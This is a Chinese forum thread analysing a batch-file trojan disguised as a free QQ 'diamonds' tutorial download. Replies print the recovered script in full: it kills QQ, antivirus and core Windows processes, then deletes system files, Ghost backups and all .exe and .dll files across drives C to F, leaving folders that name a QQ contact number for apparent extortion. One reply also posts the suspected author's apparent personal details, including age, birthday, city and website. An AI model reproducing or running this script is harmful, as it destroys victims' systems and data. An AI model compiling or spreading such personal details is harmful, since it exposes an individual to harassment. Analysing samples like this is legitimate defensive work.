发现一款恶意程序

fx330934079

发现一款恶意程序
是个批处理 不过转换为了exe格式

各位能分析一下它干了什么吗？？
（危险请在虚拟机中测试）
从我受害的情况来看 它先终止QQ进程  然后在修改QQ程序
再终止系统进程  接着就自动关闭系统了
不知道它对QQ改了什么，能有人测试了告诉我吗？
下载地址QQ免费得四钻教程加工具.rar


http下载   http://www.namipan.com/d/QQ%E5%8 ... b3210e4a1cb5e220100

挪威的冬天

那个教程所释放的 bat

挪威的冬天

另一个释放的 bat 相同

醉一生爱妍

md c:\请联系QQ：442074675
md D:\请联系QQ：442074675
md e:\请联系QQ：442074675
md f:\请联系QQ：442074675
echo 目标文件删除完毕，按任意键退出
exit

不知道这个人想干什么？

醉一生爱妍

算了，偶去亲自密下她~~

XinDOS

谢谢分享

IllusionWing

@shift
taskkill /im QQ.exe /f
FOR %%I IN (c:,d:,e:,f:) DO CD /D %%I & FOR %%J IN (qq.exe
) DO DEL %%J /A HS /F /S
taskkill /im explorer.exe /f
FOR %%I IN (c:,d:,e:,f:) DO CD /D %%I & FOR %%J IN (explorer.exe
) DO DEL %%J /A HS /F /S
taskkill /im 360tray.exe /f
FOR %%I IN (c:,d:,e:,f:) DO CD /D %%I & FOR %%J IN (360tray.exe
) DO DEL %%J /A HS /F /S
taskkill /im 360safe.exe /f
FOR %%I IN (c:,d:,e:,f:) DO CD /D %%I & FOR %%J IN (360safe.exe
) DO DEL %%J /A HS /F /S
taskkill /im svchost.exe /f
FOR %%I IN (c:,d:,e:,f:) DO CD /D %%I & FOR %%J IN (svchost.exe
) DO DEL %%J /A HS /F /S
taskkill /im winlogon.exe /f
FOR %%I IN (c:,d:,e:,f:) DO CD /D %%I & FOR %%J IN (winlogon.exe
) DO DEL %%J /A HS /F /S
taskkill /im services.exe /f
FOR %%I IN (c:,d:,e:,f:) DO CD /D %%I & FOR %%J IN (services.exe
) DO DEL %%J /A HS /F /S

FOR %%I IN (c:,d:,e:,f:) DO CD /D %%I & FOR %%J IN (system.gho
) DO DEL %%J /A HS /F /S
FOR %%I IN (c:,d:,e:,f:) DO CD /D %%I & FOR %%J IN (ghost.exe
) DO DEL %%J /A HS /F /S
FOR %%I IN (c:,d:,e:,f:) DO CD /D %%I & FOR %%J IN (iedw.exe,IEXPLORE.EXE
) DO DEL %%J /A HS /F /S

FOR %%I IN (c:,d:,e:,f:) DO CD /D %%I & FOR %%J IN (system.ini,
win.ini,regedit.exe,*.exe,*.dll
) DO DEL %%J /A HS /F /S

md c:\请联系QQ：442074675
md D:\请联系QQ：442074675
md e:\请联系QQ：442074675
md f:\请联系QQ：442074675
echo 目标文件删除完毕，按任意键退出
exit

貌似是删资料敲诈钱的

挪威的冬天

唉 试图做磁盘清洗 。。。

醉一生爱妍

作者解释~~

重启就好了则

IllusionWing

442074675 №雄§ 男 19  马 AB型 8月21日 武汉汤罗？
http://zhangyaxiong1.dipan.com/
ｚ╭ ﹌╮╭ ?╮。     ︵︵︵︵︵︵
z(o-.-o)(o^.^o) .oО( ^罒^好暖哦︷.)
╭~﹊︸￣~﹊︸￣~、     ︸︸︸︸︸︸
┋?   ﹏     ? ┋ 關燈
┊     (~(~)﹏   ┊ 我暧妳暧着妳
┇ ? ﹏︶~      ┇
┊       ﹏  ?  ┊ 僦襐佬鼠暧

计算机业

.....那人个人资料